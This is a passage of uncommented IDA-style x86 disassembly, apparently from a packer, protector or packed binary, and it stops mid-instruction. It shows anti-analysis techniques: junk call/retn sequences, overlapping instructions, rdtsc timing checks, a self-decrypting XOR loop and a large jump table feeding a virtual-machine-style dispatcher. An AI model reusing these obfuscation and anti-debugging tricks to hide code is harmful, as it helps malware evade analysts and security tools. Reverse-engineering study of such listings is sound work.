--------------------------------------------------------------------------- db 0 dd 615E0000h, 6A240489h, 3E85000h dword_583B68 dd 20000000h, 8958C358h, 81042444h, 19042444h, 40000000h ; CODE XREF: sub_580566:loc_583B57j dd 0B441C350h, 0E1D366D0h, 11E185C6h, 0E9450613h, 0Eh dd 0FBF2E6B3h, 0B339C56Dh, 0CF52D4F6h, 836836B4h, 536E48F9h dd 2404815Ah, 20296FE6h, 16219D8Bh, 0B5FF0613h, 613116Dh dd 1F99BD89h, 858D0613h, 6133AADh, 0FF83F280h, 89D78BD0h dd 131CBD85h, 199D2B06h, 58061319h, 12BB6651h ; --------------------------------------------------------------------------- mov dl, 5Bh loc_583BDE: ; CODE XREF: sub_580566+35C9j cmp dword ptr [ebp+6134F72h], 0 jz loc_583C6D push 0 push edx call loc_583BF6 and [edx-3Dh], bl loc_583BF6: ; CODE XREF: sub_580566+3688p pop edx mov [esp+0Ch+var_8], edx add [esp+0Ch+var_8], 1Ah inc edx push edx retn ; --------------------------------------------------------------------------- sbb ds:0F65E2885h, esi leave mov [ebp+61309DDh], edi add [ebp+6133091h], edx push dword ptr [ebp+61304C5h] push 0 push esi call loc_583C2A and [esi-3Dh], bl loc_583C2A: ; CODE XREF: sub_580566+36BCp pop esi mov [esp+0Eh+var_C+2], esi add [esp+0Eh+var_C+2], 18h inc esi push esi retn ; --------------------------------------------------------------------------- mov edi, 3B84C446h clc call dword ptr [ebp+6131CBDh] push 0 push eax call loc_583C51 and [eax-3Dh], bl loc_583C51: ; CODE XREF: sub_580566+36E3p pop eax mov [esp+10h+var_C], eax add [esp+10h+var_C], 1Ah inc eax push eax retn ; --------------------------------------------------------------------------- loc_583C61: ; CODE XREF: sub_580566+36FCj dec eax jbe short loc_583C61 dec edx jno short loc_583C7E push edx xor bx, 5737h loc_583C6D: ; CODE XREF: sub_580566+367Fj cmp eax, 0 jnz loc_583DA7 push 0 push ebp call loc_583C81 loc_583C7E: ; CODE XREF: sub_580566+36FFj and [ebp-3Dh], bl loc_583C81: ; CODE XREF: sub_580566+3713p pop ebp mov [esp+10h+var_C], ebp add [esp+10h+var_C], 1Bh inc ebp push ebp retn ; --------------------------------------------------------------------------- retf 0E517h ; --------------------------------------------------------------------------- dd 0FAEDB797h, 8C0F512Dh, 5, 0CF38166h, 0EE95AC2h, 0DE000000h dd 44EFEEABh, 3DC619EDh, 9A18572Fh, 0DDBD830Fh, 61310h dd 5B840Fh, 950B0000h, 61305B5h, 6810F51h, 81000000h, 0C0190DDAh dd 0B5FF5A3Eh, 61310DDh, 8EEA8166h, 1B8F833h, 66000000h dd 0CC2DF381h, 274E9h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1804h, 0C3534300h, 63E3EFA3h, 819D8B81h dd 89061313h, 130E3985h, 0C5B5FF06h, 0FF061304h, 1304C5B5h dd 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1804h dd 0C3534300h, 0DCDFC059h, 95958906h, 0FF061329h, 131CBDB5h dd 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1704h dd 0C3554500h, 0B7043A38h, 1ECE9h, 57006A00h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1C04h, 0C3574700h, 0D7D1544Dh dd 2A16AE8h, 0D1958B79h ; --------------------------------------------------------------------------- push cs adc eax, [esi] loc_583DA7: ; CODE XREF: sub_580566+370Aj pop edi cmp dword ptr [ebp+6130155h], 0 jnz loc_583E86 js loc_583DC1 mov ebx, [ebp+6131CCDh] loc_583DC1: ; CODE XREF: sub_580566+384Fj mov byte ptr [ebp+61311E1h], 4Dh push edx mov dl, 4 pop ebx call near ptr loc_583DD3+2 test al, 76h loc_583DD3: ; CODE XREF: sub_580566+3866p xor eax, 525050A4h mov ebx, eax rdtsc pop edx pop eax mov eax, [esp+4] push eax push edx mov bx, si rdtsc pusha mov dx, 0A6FEh jno $+6 popa pop edx pop eax mov eax, [eax] mov dx, 0B0C6h mov [esp+4], eax mov bx, 0EBBDh pop eax pusha xor edx, [ebp+6131FBDh] cmc popa push dword ptr [ebp+61310D1h] mov edx, 3D29E422h lea eax, [ebp+6133AADh] push 0 push edi call loc_583E2B and [edi-3Dh], bl loc_583E2B: ; CODE XREF: sub_580566+38BDp pop edi mov [esp+4], edi add dword ptr [esp+4], 1Ah inc edi push edi retn ; --------------------------------------------------------------------------- xor ebp, ebx mov esi, 0B7CBF74h call eax jmp loc_583E54 ; --------------------------------------------------------------------------- db 3Dh, 0Fh, 3 dd 2DC09768h, 775196D3h ; --------------------------------------------------------------------------- loc_583E54: ; CODE XREF: sub_580566+38DEj mov [ebp+6130155h], eax push 0 push eax call loc_583E65 and [eax-3Dh], bl loc_583E65: ; CODE XREF: sub_580566+38F7p pop eax mov [esp+4], eax add dword ptr [esp+4], 1Ch inc eax push eax retn ; --------------------------------------------------------------------------- db 65h, 33h, 0ACh ; --------------------------------------------------------------------------- mov [ebx], ecx xchg eax, ecx cmp ecx, [edx+ebx+50h] mov [ebp+6132501h], ebx pop edx loc_583E86: ; CODE XREF: sub_580566+3849j mov eax, 0 sub ebx, [ebp+6131E99h] mov [ebp+6134F1Bh], edi push 0 push edx call loc_583EA2 and [edx-3Dh], bl loc_583EA2: ; CODE XREF: sub_580566+3934p pop edx mov [esp+4], edx add dword ptr [esp+4], 15h inc edx push edx retn ; --------------------------------------------------------------------------- mov [edx], edi mov dx, 86BCh mov edx, 415C70C4h or eax, eax jz loc_583F17 push 0 push ebp call loc_583ED0 and [ebp-3Dh], bl loc_583ED0: ; CODE XREF: sub_580566+3962p pop ebp mov [esp+4], ebp add dword ptr [esp+4], 17h inc ebp push ebp retn ; --------------------------------------------------------------------------- dd 9AB39DFFh, 80E9h, 50006A00h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1A04h, 0C3504000h, 0A4CCB18h, 89FF8FB2h dd 1304C185h, 72EB8106h ; --------------------------------------------------------------------------- mov edx, esp loc_583F16: ; CODE XREF: sub_580566+39DCj push es loc_583F17: ; CODE XREF: sub_580566+3959j push dword ptr [ebp+6131CBDh] jmp loc_583F30 ; --------------------------------------------------------------------------- dw 8D67h dd 0FF6E19C5h, 0E7555CAEh, 37E01506h ; --------------------------------------------------------------------------- loc_583F30: ; CODE XREF: sub_580566+39B7j lea eax, [ebp+615A34Dh] jb loc_583F49 jmp loc_583F49 ; --------------------------------------------------------------------------- wait jmp short loc_583F16 ; --------------------------------------------------------------------------- mov edx, 5FF4B5A4h loc_583F49: ; CODE XREF: sub_580566+39D0j ; sub_580566+39D6j push eax jmp loc_583F5B ; --------------------------------------------------------------------------- xchg eax, ebx mov [ebx-61999A69h], dh inc ebx mov byte ptr [edi], 5 popa loc_583F5B: ; CODE XREF: sub_580566+39E4j mov [esp-0Ch+arg_8], eax push ebx mov ebx, [ebp+6131549h] pop edx mov bx, ax push eax push esi lea edi, [ebp+613573Ah] lea ecx, [ebp+6137CB4h] mov eax, 748323BCh sub ecx, edi loc_583F7E: ; CODE XREF: sub_580566+3A1Ej xor [edi], al ror al, 1 inc edi dec ecx jnz short loc_583F7E pop esi pop eax cmp dword ptr [ebp+61310DDh], 0 jz short loc_583F97 mov ecx, [ebp+6133095h] loc_583F97: ; CODE XREF: sub_580566+3A29j xor ecx, ecx mov eax, 0 or eax, eax jz loc_58404E cmp dword ptr [ebp+61307F1h], 0 jz short loc_583FB5 call dword ptr [ebp+6131339h] loc_583FB5: ; CODE XREF: sub_580566+3A47j mov eax, 0 or eax, eax jnz short loc_583FC7 cmp dword ptr [ebp+6134F23h], 1 jz short loc_583FD0 loc_583FC7: ; CODE XREF: sub_580566+3A56j cmp dword ptr [ebp+6134F23h], 2 jnz short loc_583FDE loc_583FD0: ; CODE XREF: sub_580566+3A5Fj mov esi, [ebp+6134F1Bh] lea eax, [ebp+615A34Dh] call eax loc_583FDE: ; CODE XREF: sub_580566+3A68j cmp dword ptr [ebp+61307E5h], 0 jz short loc_583FED call dword ptr [ebp+6131685h] loc_583FED: ; CODE XREF: sub_580566+3A7Fj lea eax, [ebp+6134381h] call eax cmp dword ptr [ebp+6132CF1h], 2 jnz short loc_58402D mov esp, [ebp+61308B9h] mov eax, [ebp+61310DDh] mov [esp-0Ch+arg_8], eax mov dword ptr [ebp+61311CDh], 1 mov esi, [ebp+6134F1Fh] mov ebp, [ebp+61313E5h] mov eax, 1 retn 0Ch ; --------------------------------------------------------------------------- jmp short $+2 loc_58402D: ; CODE XREF: sub_580566+3A96j mov dword ptr [ebp+61311CDh], 1 mov esp, [ebp+61308B9h] mov esi, [ebp+6133481h] mov ebp, [ebp+61313E5h] xor eax, eax retn 0Ch ; --------------------------------------------------------------------------- loc_58404E: ; CODE XREF: sub_580566+3A3Aj cmp dword ptr [ebp+61307E5h], 0 jz short loc_584066 cmp dword ptr [ebp+6131685h], 0 jz short loc_584066 call dword ptr [ebp+6131685h] loc_584066: ; CODE XREF: sub_580566+3AEFj ; sub_580566+3AF8j mov esi, [ebp+6134F1Bh] retn ; --------------------------------------------------------------------------- mov [ebp+6133011h], edx call near ptr loc_584081+2 scasb add eax, 0B2F7F7A2h pop edx cdq inc edi loc_584081: ; CODE XREF: sub_580566+3B0Dp fdiv dword ptr [ecx+ecx] mov ebp, 6130EADh pop ebx sub edx, edx pusha mov [ebp+613247Dh], edi pusha or [ebp+6132ECDh], esi mov eax, [ebp+613147Dh] popa popa push ebp mov ebp, esp push ecx push edi push edx push esi mov edi, [ebp+8] xor eax, eax jmp short loc_5840B2 ; --------------------------------------------------------------------------- loc_5840B0: ; CODE XREF: sub_580566+3B4Fj inc eax inc edi loc_5840B2: ; CODE XREF: sub_580566+3B48j cmp byte ptr [edi], 0 jnz short loc_5840B0 xor ecx, ecx mov edi, [ebp+8] jmp short loc_5840E1 ; --------------------------------------------------------------------------- loc_5840BE: ; CODE XREF: sub_580566+3B7Dj xor edx, edx mov dl, [edi] sub dl, 30h mov esi, eax dec esi push eax mov eax, edx push ebx mov ebx, 0Ah jmp short loc_5840D6 ; --------------------------------------------------------------------------- loc_5840D3: ; CODE XREF: sub_580566+3B73j mul ebx dec esi loc_5840D6: ; CODE XREF: sub_580566+3B6Bj cmp esi, 0 ja short loc_5840D3 pop ebx add ecx, eax pop eax inc edi dec eax loc_5840E1: ; CODE XREF: sub_580566+3B56j or eax, eax jnz short loc_5840BE mov eax, ecx pop esi pop edx pop edi pop ecx leave retn 4 ; --------------------------------------------------------------------------- push 0 push ebx call loc_5840FA and [ebx-3Dh], bl loc_5840FA: ; CODE XREF: sub_580566+3B8Cp pop ebx mov [esp-1Ch+arg_16+2], ebx add [esp-1Ch+arg_16+2], 1Bh inc ebx push ebx retn ; --------------------------------------------------------------------------- dw 3FD4h dd 0CB93A8CEh, 958BD3F9h, 6131719h, 0F58D8B60h, 8B061313h dd 132BA18Dh, 6A6106h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 170424h, 51410000h, 0E4548AC3h db 36h ; --------------------------------------------------------------------------- loc_584145: ; CODE XREF: sub_580566:loc_581240j mov eax, ecx jmp loc_5A5BF1 ; --------------------------------------------------------------------------- dd offset loc_5FBE9E dd offset loc_5FBE9E align 8 dd 26D0023h, 12FEF4h, 26D001Bh, 5FA34Bh, 206h, 2, 1, 0 ; --------------------------------------------------------------------------- retf 44C2h ; --------------------------------------------------------------------------- db 0FAh dd 5 dup(0) dd offset loc_58B4D1 dd offset loc_58EFAC dd offset loc_589503 dd offset loc_58947C dd offset loc_586C1D dd offset loc_58F758 dd offset loc_59033C dd offset loc_58FE36 dd offset loc_584589 dd offset loc_5848B2 dd offset loc_585CC5 dd offset loc_58DD33 dd offset loc_58E67B dd offset loc_58840F dd offset loc_589326 dd offset loc_58500C dd offset loc_58BBB9 dd offset loc_58AD91 dd offset loc_58BB09 dd offset loc_58956A dd offset loc_58A2C1 dd offset loc_58F65D dd offset loc_5900A3 dd offset loc_58492B dd offset loc_586486 dd offset loc_58DB74 dd offset loc_585D1C dd offset loc_5867E1 dd offset loc_58639F dd offset loc_5877A9 dd offset loc_58A443 dd offset loc_5845D9 dd offset loc_58925A dd offset loc_58A71D dd offset loc_58A14F dd offset loc_589048 dd offset loc_58BD1D dd offset word_58A7EE dd offset loc_584787 ; --------------------------------------------------------------------------- fimul dword ptr [edi-7B79FFA8h] pop eax add [eax], cl test al, 58h add [eax+edi*4-3F48FFA8h], dh pop eax add [edx], bl retf 58h ; --------------------------------------------------------------------------- dd offset loc_588855 dd offset loc_58BA6C dd offset loc_5900ED dd offset loc_587A57 dd offset loc_586678 ; --------------------------------------------------------------------------- popa retn ; --------------------------------------------------------------------------- dw 58h dd offset loc_58C4A2 ; --------------------------------------------------------------------------- xor cl, bl pop eax add ch, ch retf ; --------------------------------------------------------------------------- dw 58h dd offset loc_588A67 dd offset loc_58CC7E dd offset loc_58864D dd offset loc_58E7B3 dd offset loc_58A335 dd offset loc_58D0B6 dd offset loc_58CC69 dd offset loc_58B6D9 dd offset loc_584AD0 dd offset loc_58C12C dd offset loc_5895D2 dd offset loc_58F524 dd offset loc_587D5F dd offset loc_590241 dd offset loc_584FBD dd offset loc_589BEF dd offset loc_58C490 dd offset loc_58E261 dd offset loc_588B69 dd offset loc_58E1DD dd offset loc_58B792 dd offset loc_58A7FE dd offset loc_58E7A5 dd offset loc_58CF2F dd offset loc_58B8CE dd offset loc_585772 dd offset loc_58967C dd offset loc_58641A dd offset loc_58789E dd offset loc_58D568 dd offset loc_5904F2 dd offset loc_58BB94 dd offset loc_5846A4 dd offset loc_58699D dd offset loc_588B46 dd offset loc_589316 dd offset loc_58EE72 dd offset loc_58F214 dd offset loc_58D68B dd offset loc_5848FE dd offset loc_58712C dd offset loc_585A2F dd offset loc_5871BF dd offset loc_58CC60 dd offset loc_585912 dd offset loc_58DD29 dd offset loc_58B9FE dd offset loc_586927 dd offset loc_58DFE3 dd offset loc_58ACE7 dd offset loc_58A2B3 dd offset loc_58DA31 dd offset loc_5876D2 dd offset loc_587189 dd offset loc_589669 dd offset loc_5849B8 dd offset loc_58E4B0 dd offset loc_5847DF dd offset loc_5862D4 dd offset loc_58A57C dd offset loc_588F61 dd offset loc_58E6BD dd offset word_58EC0A dd offset loc_586B93 dd offset loc_58D0C6 dd offset loc_58EDDC dd offset loc_584DDE dd offset loc_58FB73 dd offset loc_588A26 dd offset loc_58CCA0 dd offset loc_58C82A dd offset loc_584E6C dd offset loc_587180 dd offset loc_58CFEB dd offset loc_58E4B9 dd offset loc_58E437 dd offset loc_58F595 dd offset loc_588D32 dd offset loc_588A7E dd offset loc_5903C5 dd offset loc_586AE0 dd offset loc_5906D5 dd offset loc_58B764 dd offset loc_58B5ED dd offset loc_584A2C dd offset loc_58D223 dd offset loc_58D7E7 dd offset loc_58F1DF dd offset loc_58E9C8 dd offset loc_588266 dd offset loc_58A1AC dd offset loc_588159 dd offset loc_588D79 dd offset loc_58E2A1 dd offset loc_58D97A dd offset loc_5844F4 dd offset loc_58965A dd offset loc_58A4A9 dd offset loc_58999D dd offset loc_586DD6 dd offset loc_58E93D dd offset loc_589946 dd offset loc_58B7B0 dd offset loc_58D34E dd offset loc_586C9F dd offset loc_585DBE dd offset loc_58A04A dd offset loc_58DBBD dd offset loc_58794E dd offset loc_58615C dd offset loc_589110 dd offset loc_58B67E dd offset loc_587B8C ; --------------------------------------------------------------------------- loc_58442C: ; CODE XREF: sub_580566+256E2j ; sub_580566+256ECj ... pusha pushf cld call $+5 pop edi sub edi, 613816Ah mov eax, edi add edi, 6137E82h cmp eax, [edi+2Ch] jnz short loc_58444A jmp short loc_58445D ; --------------------------------------------------------------------------- loc_58444A: ; CODE XREF: sub_580566+3EE0j mov [edi+2Ch], eax mov ecx, 0A7h jmp short loc_584459 ; --------------------------------------------------------------------------- loc_584454: ; CODE XREF: sub_580566+3EF5j add [edi+ecx*4+40h], eax dec ecx loc_584459: ; CODE XREF: sub_580566+3EECj or ecx, ecx jnz short loc_584454 loc_58445D: ; CODE XREF: sub_580566+3EE2j mov esi, [esp-0Ch+arg_28] mov ebx, esi add esi, eax mov ecx, 1 loc_58446A: ; CODE XREF: sub_580566+3F0Bj xor eax, eax lock cmpxchg [edi+30h], ecx jnz short loc_58446A loc_584473: ; CODE XREF: sub_580566+433Ej ; sub_580566+43A2j ... lodsb sub esp, 2 jmp loc_59063D ; --------------------------------------------------------------------------- loc_58447C: ; CODE XREF: sub_580566+10209j add esi, 26D32018h sub ebp, esi pop esi jmp loc_58E634 ; --------------------------------------------------------------------------- loc_58448A: ; CODE XREF: sub_580566+BACCj xor cl, dh pop edx push edx mov dl, cl mov bh, dl pop edx jmp loc_585EA0 ; --------------------------------------------------------------------------- loc_584498: ; CODE XREF: sub_580566+4482j add ebx, 0BEB34990h jmp loc_5881BB ; --------------------------------------------------------------------------- loc_5844A3: ; CODE XREF: sub_580566+84CFj mov edx, 4 add edi, 53B45AF2h add edi, edx sub edi, 53B45AF2h pop edx push 51EDh mov [esp], ebp mov ebp, 2 add edi, 67D213F1h add edi, ebp sub edi, 67D213F1h mov ebp, [esp] add esp, 4 push edi push [esp-10h+arg_A+2] jmp loc_58C32E ; --------------------------------------------------------------------------- loc_5844E2: ; CODE XREF: sub_580566+78B8j pop ebp sub ebp, 673400A1h xor ebp, 0EDB55F62h jmp loc_58F682 ; --------------------------------------------------------------------------- loc_5844F4: ; DATA XREF: sub_580566+3E7Eo push 0 push [esp-2Ch+arg_24] push [esp-28h+arg_20] mov ebx, [esp-24h+arg_1A+2] jmp loc_58C7E1 ; --------------------------------------------------------------------------- loc_584507: ; CODE XREF: sub_580566+558Dj or edx, eax jmp loc_584C7E ; --------------------------------------------------------------------------- loc_58450E: ; CODE XREF: sub_580566+8D57j xor [esp-24h+arg_1A+2], edi jmp loc_589FE8 ; --------------------------------------------------------------------------- loc_584516: ; CODE XREF: sub_580566+BD7Aj mov esi, 7D636929h shr esi, 3 shl esi, 8 add esi, 47B60F60h dec esi and esi, 6D7D1501h sub esi, 0FAC9ADA9h sub eax, esi pop esi jmp loc_58DCDB ; --------------------------------------------------------------------------- loc_58453C: ; CODE XREF: sub_580566+B0B0j shl ebp, 3 jmp loc_588D1D ; --------------------------------------------------------------------------- loc_584544: ; CODE XREF: sub_580566+4781j pop ebx add esp, 4 add bl, 65h push edx jmp loc_588C17 ; --------------------------------------------------------------------------- loc_584554: ; CODE XREF: sub_580566+9A57j push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp-28h+arg_20] pop esp and eax, edi mov edi, [esp-2Ch+arg_24] add esp, 4 or eax, eax jnz loc_5891C3 push ecx mov ecx, esp push esi jmp loc_58857B ; --------------------------------------------------------------------------- loc_584583: ; CODE XREF: sub_580566+DB4Bj push esp jmp loc_58F5D3 ; --------------------------------------------------------------------------- loc_584589: ; DATA XREF: sub_580566+3C4Ao push 23ADh mov [esp+0], eax mov eax, 200h or [edi+1Ch], eax push dword ptr [esp+0] jmp loc_584DF9 ; --------------------------------------------------------------------------- loc_5845A1: ; CODE XREF: sub_580566+CB17j xor edx, edi jmp loc_589A67 ; --------------------------------------------------------------------------- loc_5845A8: ; CODE XREF: sub_580566+D520j add ecx, 4 jmp loc_584FA8 ; --------------------------------------------------------------------------- loc_5845B0: ; CODE XREF: sub_580566+5EECj add edx, eax pop eax jmp loc_58E20F ; --------------------------------------------------------------------------- loc_5845B8: ; CODE XREF: sub_580566+D6BCj sub esp, 4 mov [esp+4+var_4], eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp+4+var_4] pop esp xchg esi, [esp+0] mov esp, [esp+0] jmp loc_5846DD ; --------------------------------------------------------------------------- loc_5845D9: ; DATA XREF: sub_580566+3CA6o mov ax, fs:[edx] push 18F7h mov [esp+0], esi jmp loc_586802 ; --------------------------------------------------------------------------- loc_5845EA: ; CODE XREF: sub_580566+47ABj xchg ebx, [esp+0] pop esp mov [esp+0], esi push 20000h mov esi, [esp+0] sub esp, 4 mov [esp+4+var_4], ecx mov ecx, esp add ecx, 4 push ebp mov ebp, 4 add ecx, ebp pop ebp push ecx push [esp+8+var_4] mov ecx, [esp+0Ch+var_C] add esp, 4 jmp loc_585CF0 ; --------------------------------------------------------------------------- loc_584620: ; CODE XREF: sub_580566+70A4j pop ebp xchg edi, [esp+4+var_4] pop esp push dword ptr [esp+0] push [esp+4+var_4] jmp loc_585B4F ; --------------------------------------------------------------------------- loc_584630: ; CODE XREF: sub_580566+C067j mov ecx, 55AA53D6h xor [esp+8+var_4], ecx pop ecx pop ebx xor ebx, 55AA53D6h pop edi add edx, ebx jmp loc_5855DA ; --------------------------------------------------------------------------- loc_584649: ; CODE XREF: sub_580566+5017j pop dword ptr [esp+0] pop esp xor [esp-0Ch+arg_8], eax jmp loc_588D18 ; --------------------------------------------------------------------------- loc_584655: ; CODE XREF: sub_580566+E3FCj sub edx, 1B332B08h add edx, ecx jmp loc_585920 ; --------------------------------------------------------------------------- loc_584662: ; CODE XREF: sub_580566+C09Cj mov edx, 61F345Ch xor edx, 61F345Eh add esi, edx jmp loc_58909D ; --------------------------------------------------------------------------- loc_584674: ; CODE XREF: sub_580566+8477j pop esp movzx ecx, al jmp loc_58EC16 ; --------------------------------------------------------------------------- loc_58467D: ; CODE XREF: sub_580566+FD4Bj mov edi, esp add edi, 4 push esi mov esi, 4 sub edi, esi pop esi jmp loc_58BF82 ; --------------------------------------------------------------------------- loc_584693: ; CODE XREF: sub_580566+6D10j push dword ptr [esp+0] push [esp-0Ch+arg_8] mov eax, [esp-8+arg_4] add esp, 4 jmp loc_58F6B6 ; --------------------------------------------------------------------------- loc_5846A4: ; DATA XREF: sub_580566+3D82o mov ax, word ptr [esp-30h+arg_28] push esi mov esi, esp add esi, 4 sub esi, 4 xchg esi, [esp-2Ch+arg_24] pop esp mov [esp-30h+arg_28], esi jmp loc_585023 ; --------------------------------------------------------------------------- loc_5846C0: ; CODE XREF: sub_580566+A21Ej shr ebx, 4 neg ebx sub ebx, 0A513E691h mov ecx, ebx jmp loc_58617F ; --------------------------------------------------------------------------- loc_5846D2: ; CODE XREF: sub_580566+7E85j add edi, 0FFFFFFFFh jmp loc_58746A ; --------------------------------------------------------------------------- loc_5846DD: ; CODE XREF: sub_580566+406Ej mov ax, [esp+0] push 34D0h mov [esp+4+var_4], ebx sub esp, 4 mov [esp+8+var_8], esp jmp loc_58A19F ; --------------------------------------------------------------------------- loc_5846F7: ; CODE XREF: sub_580566+D781j xor [esp+8+var_8], eax xor eax, [esp+8+var_8] pop esp push 3236h mov [esp+8+var_8], ecx push ebx mov bl, dl push eax push ecx mov ch, bl push ebx mov bl, ch mov al, bl jmp loc_58DFAD ; --------------------------------------------------------------------------- loc_584717: ; CODE XREF: sub_580566+7781j sub eax, 2 xchg eax, [esp+18h+var_18] pop esp jmp loc_58E0B6 ; --------------------------------------------------------------------------- loc_584725: ; CODE XREF: sub_580566+9F6Aj or edi, 9F6427Fh not edi jmp loc_58F5F9 ; --------------------------------------------------------------------------- loc_584732: ; CODE XREF: sub_580566+6269j push ebx mov ebx, 2978045Fh mov edx, 1D5D3692h jmp loc_58D373 ; --------------------------------------------------------------------------- loc_584742: ; CODE XREF: sub_580566+DF5Dj sub eax, ebx sub esp, 4 mov [esp+1Ch+var_1C], ebx push 4113h jmp loc_588AC6 ; --------------------------------------------------------------------------- loc_584757: ; CODE XREF: sub_580566+BA35j push edi push ecx jmp loc_588906 ; --------------------------------------------------------------------------- loc_58475E: ; CODE XREF: sub_580566+6C4Dj add ch, 49h xor al, ch jmp loc_588878 ; --------------------------------------------------------------------------- loc_584768: ; CODE XREF: sub_580566+92D1j pop dx sub bl, al sub esp, 4 mov [esp+2Ah+var_2C+2], edx mov dl, 96h jmp loc_588FD3 ; --------------------------------------------------------------------------- loc_58477C: ; CODE XREF: sub_580566+44F3j add esp, 4 jmp loc_58AC58 ; --------------------------------------------------------------------------- loc_584787: ; DATA XREF: sub_580566+3CC2o sub esp, 4 mov [esp+0], esp add dword ptr [esp+0], 4 push dword ptr [esp+0] push [esp+4+var_4] jmp loc_589DB5 ; --------------------------------------------------------------------------- loc_58479C: ; CODE XREF: sub_580566+9E69j add esp, 4 add edx, 4 push 7FA5h mov [esp+8+var_8], ecx mov ecx, esp add ecx, 4 sub ecx, 4 xchg ecx, [esp+8+var_8] mov esp, [esp+8+var_8] mov [esp+8+var_8], eax mov eax, 4 sub edx, eax pop eax xor edx, [esp+4+var_4] jmp loc_58917D ; --------------------------------------------------------------------------- loc_5847D1: ; CODE XREF: sub_580566+B8FBj xor ebx, eax jmp loc_586917 ; --------------------------------------------------------------------------- loc_5847D8: ; CODE XREF: sub_580566+F629j or esi, edi jmp loc_585EEE ; --------------------------------------------------------------------------- loc_5847DF: ; DATA XREF: sub_580566+3DE6o push dword ptr [edi+1Ch] popf pop cx rcl byte ptr [esp-32h+arg_28+2], cl pushf jmp loc_58D43D ; --------------------------------------------------------------------------- loc_5847EE: ; CODE XREF: sub_580566+7832j add esp, 4 add eax, 320B1ABDh sub eax, 1BDE30CDh sub eax, ebx add eax, 1BDE30CDh push edx mov edx, 320B1ABDh sub eax, edx pop edx push 5749h mov [esp-2Eh+arg_24+2], edx jmp loc_587A8E ; --------------------------------------------------------------------------- loc_584818: ; CODE XREF: sub_580566+DD5Ej mov esp, [esp-2Eh+arg_24+2] jmp loc_58E3DA ; --------------------------------------------------------------------------- loc_584820: ; CODE XREF: sub_580566+5274j mov ebp, 4 jmp loc_584AE2 ; --------------------------------------------------------------------------- loc_58482A: ; CODE XREF: sub_580566+C3C5j sub bx, 3BA2h sub bx, ax jmp loc_58F339 ; --------------------------------------------------------------------------- loc_584837: ; CODE XREF: sub_580566+9F62j mov edx, 4 jmp loc_58DF4D ; --------------------------------------------------------------------------- loc_584841: ; CODE XREF: sub_580566+F2C2j pop ecx shl ebp, 6 push esi jmp loc_589411 ; --------------------------------------------------------------------------- loc_58484B: ; CODE XREF: sub_580566+604Cj push ebx mov bh, dl not bh mov dl, bh jmp loc_5861D8 ; --------------------------------------------------------------------------- loc_584857: ; CODE XREF: sub_580566+7E27j push bx mov bl, 1Dh add cl, bl pop bx jmp loc_585AF8 ; --------------------------------------------------------------------------- loc_584864: ; CODE XREF: sub_580566+DB43j add esi, 71A842CAh pop ecx push esi push [esp-2Ah+arg_24+2] jmp loc_58CE41 ; --------------------------------------------------------------------------- loc_584875: ; CODE XREF: sub_580566+AAAEj add ebx, esi jmp loc_58B0A4 ; --------------------------------------------------------------------------- loc_58487C: ; CODE XREF: sub_580566+C084j sub esp, 4 mov [esp-22h+arg_1A], esp add [esp-22h+arg_1A], 4 jmp loc_58E52E ; --------------------------------------------------------------------------- loc_58488E: ; CODE XREF: sub_580566+5BC2j xchg esi, ebx push esi push ecx pop esi pop ecx jmp loc_58F3E2 ; --------------------------------------------------------------------------- loc_584899: ; CODE XREF: sub_580566+47E2j pop ecx pop dword ptr [esp+0] mov esp, [esp-2Ah+arg_20+2] sub byte ptr [esp-2Ah+arg_20+2], al pushf jmp loc_584473 ; --------------------------------------------------------------------------- loc_5848A9: ; CODE XREF: sub_580566+5C52j pop esp pop dword ptr [edi+20h] jmp loc_58D4CA ; --------------------------------------------------------------------------- loc_5848B2: ; DATA XREF: sub_580566+3C4Eo push dword ptr [esp+0] mov eax, [esp+0] jmp loc_5853E2 ; --------------------------------------------------------------------------- loc_5848BD: ; CODE XREF: sub_580566+4F8Ej push dword ptr [esp+0] pop edi add esp, 4 xor edx, 702565D8h push edi mov edi, 42F96CD3h xor edi, 795040CFh sub edi, 0D829D48Ch add eax, edi pop edi sub eax, edx jmp loc_58DEBE ; --------------------------------------------------------------------------- loc_5848E9: ; CODE XREF: sub_580566+DE4Cj xor eax, 0AD18A96Ah mov ecx, eax pop eax xor edx, ecx jmp loc_586E43 ; --------------------------------------------------------------------------- loc_5848F8: ; CODE XREF: sub_580566+BC3Fj pop ebx jmp loc_58CC86 ; --------------------------------------------------------------------------- loc_5848FE: ; DATA XREF: sub_580566+3D9Eo push dword ptr [edi+1Ch] popf pop cx rcl [esp-32h+arg_28+2], cl pushf jmp loc_584473 ; --------------------------------------------------------------------------- loc_58490D: ; CODE XREF: sub_580566+49D1j mov esi, esp jmp loc_58C7F8 ; --------------------------------------------------------------------------- loc_584914: ; CODE XREF: sub_580566+F500j push 38ECh mov [esp-2Ah+arg_20+2], ebx mov eax, [esp-2Ah+arg_20+2] push ebx jmp loc_58C79C ; --------------------------------------------------------------------------- loc_584925: ; CODE XREF: sub_580566+CE21j inc edx jmp loc_585BCB ; --------------------------------------------------------------------------- loc_58492B: ; DATA XREF: sub_580566+3C86o mov ax, [esp+0] push ebx jmp loc_590125 ; --------------------------------------------------------------------------- loc_584935: ; CODE XREF: sub_580566+C54Dj not ah and ah, 61h jmp loc_58747E ; --------------------------------------------------------------------------- loc_58493F: ; CODE XREF: sub_580566+5644j xor ebp, [esp+0] mov esp, [esp+0] mov [esp+0], esi push esp pop esi push ebx mov ebx, 47217996h neg ebx and ebx, 791665BFh jmp loc_58D938 ; --------------------------------------------------------------------------- loc_58495D: ; CODE XREF: sub_580566+7F65j mov [esp+4+var_4], eax mov eax, esp add eax, 4 add eax, 4 jmp loc_58DB5D ; --------------------------------------------------------------------------- loc_58496F: ; CODE XREF: sub_580566+D723j jmp loc_584473 ; --------------------------------------------------------------------------- loc_584974: ; CODE XREF: sub_580566+9367j jmp loc_584473 ; --------------------------------------------------------------------------- loc_584979: ; CODE XREF: sub_580566+F382j mov esp, [esp+4+var_4] push 3CB5h mov [esp+8+var_8], ebp jmp loc_589040 ; --------------------------------------------------------------------------- loc_584989: ; CODE XREF: sub_580566+AA0Dj and ecx, 69082C24h shl ecx, 4 push esi mov esi, 